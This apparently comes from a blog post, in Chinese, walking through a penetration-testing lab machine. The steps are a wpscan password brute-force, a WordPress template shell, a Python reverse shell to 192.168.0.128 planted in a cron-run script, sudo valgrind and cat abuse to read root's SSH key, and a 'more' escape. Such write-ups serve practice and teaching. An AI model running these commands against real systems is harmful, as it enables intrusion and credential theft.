-
端口
-
访问 80 端口
wordpress 搭建的网站
-
目录扫描
-
使用 wpscan 扫描
没有扫描到插件信息,但是扫描到了 admin 用户
爆破 admin
wpscan --url http://192.168.0.134 -U admin -P /usr/share/wordlists/rockyou.txt
-
得到账号密码,登录后台,编辑模板成功GETSHELL
-
信息收集
ls -al /var/www/.bash_history
结合下面
su - father
语句,perso.txt 中就是该用户的密码 -
发现mother目录属于father组,由于完全控制权限
发现每隔一段时间以 mother 用户(UID=1001)运行 check.py
将反弹shell写入check.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.0.128",6666)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
-
mother 可以以baby运行valgrind
sudo -u baby valgrind /bin/bash
-
cat 具有 sudo 权限
sudo cat /root/.ssh/id_rsa
得到 root 用户的私钥,免密码登录ssh
登录ssh会自动断开连接,发现在 /root/authorized_keys 执行了 /root/troll.sh,该文件先运行查看了welcome.txt,然后 exit ,这里需要绕过 more
stty columns 50 rows 50 !/bin/bash
靶机渗透日记
最新推荐文章于 2024-08-16 10:05:19 发布